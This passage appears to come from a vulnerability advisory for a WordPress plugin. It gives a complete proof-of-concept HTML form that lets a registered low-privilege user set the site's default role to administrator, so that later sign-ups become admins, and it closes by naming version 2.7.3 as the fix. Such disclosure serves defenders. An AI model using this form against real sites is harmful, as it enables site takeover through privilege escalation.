2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
<input type="hidden" name="task" value="wdm_save_settings">
<input type="hidden" name="section" value="basic">
<input type="hidden" name="default_role" value="administrator">
<input type="submit" value="Hack!">
</form>

After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.

3. Solution:

Update to version 2.7.3
